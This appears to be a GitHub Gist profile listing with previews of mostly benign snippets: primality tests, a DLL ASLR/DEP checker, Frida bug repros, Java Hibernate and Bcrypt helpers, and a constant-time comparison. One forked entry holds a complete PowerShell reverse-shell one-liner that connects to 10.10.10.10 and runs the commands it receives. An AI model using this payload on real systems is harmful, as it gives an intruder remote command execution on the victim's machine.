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Terry Chia Ayrx

Created Jun 28, 2013
Python implementation of the Miller-Rabin Primality Test
View miller_rabin.py
 def miller_rabin(n, k): # Implementation uses the Miller-Rabin Primality Test # The optimal number of rounds for this test is 40 # See http://stackoverflow.com/questions/6325576/how-many-iterations-of-rabin-miller-should-i-use-for-cryptographic-safe-primes # for justification # If number is even, it's a composite number if n == 2:
Created Jun 28, 2013
Python implementation of the Fermat Primality Test
View fermat.py
 def fermat_test(n, k): # Implementation uses the Fermat Primality Test # If number is even, it's a composite number if n == 2: return True if n % 2 == 0:
Created Sep 4, 2020 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
View powershell_reverse_shell.ps1
 # Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html \$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + "PS " + (pwd).Path + "> ";\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()
Created May 16, 2020
JNI header with tweaks for Binary Ninja parser
View jni_binja.h
 typedef long jint; typedef int64_t jlong; typedef signed char jbyte; /* * JNI Types */ typedef unsigned char jboolean; typedef unsigned short jchar;
Created Apr 23, 2020
Frida Bug?
View repro.js
 var m = "python2.7"; var ex = "PyTraceBack_Type"; var module = Process.getModuleByName(m) console.log(JSON.stringify(module)); for (var e of module.enumerateExports()) { if (e.name == ex) { console.log(JSON.stringify(e)); }
Created Oct 11, 2013
Script to check if a DLL has been compiled with ASLR and DEP support. Inspired by http://security.stackexchange.com/questions/43681/how-can-i-detect-or-inventory-all-dlls-that-dont-use-aslr
View aslr_dep.py
 import argparse import os import pefile class DllCharacteristics(): def __init__(self): self.IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = False self.IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = False self.IMAGE_DLLCHARACTERISTICS_NO_BIND = False
Last active Mar 26, 2019
Frida Stalker Crash
View foo.c
 #include #include int main() { while (1) { printf("hello\n"); sleep(1); } }
Created Aug 6, 2013
A custom UserType that enables Hibernate to map a Java integer array to a PostgreSQL integer array.
View IntegerArrayType.java
 public class IntegerArrayType implements UserType { protected static final int SQLTYPE = java.sql.Types.ARRAY; @Override public Object nullSafeGet(final ResultSet rs, final String[] names, final SessionImplementor sessionImplementor, final Object owner) throws HibernateException, SQLException { Array array = rs.getArray(names[0]); Integer[] javaArray = (Integer[]) array.getArray(); return ArrayUtils.toPrimitive(javaArray); }
Created Jul 19, 2013
A hack to get Apache Shiro to work with Bcrypt.
View BcryptCredentialsMatcher.java
 /** * @author: Terry Chia (Ayrx) */ public class BcryptCredentialsMatcher implements CredentialsMatcher { @Override public boolean doCredentialsMatch(AuthenticationToken token, AuthenticationInfo info) { String password;
Created Nov 29, 2013
Function for constant time string comparison.
View constant_compare.py
 def is_equal(a, b): if len(a) != len(b): return False result = 0 for x, y in zip(a, b): result |= x ^ y return result == 0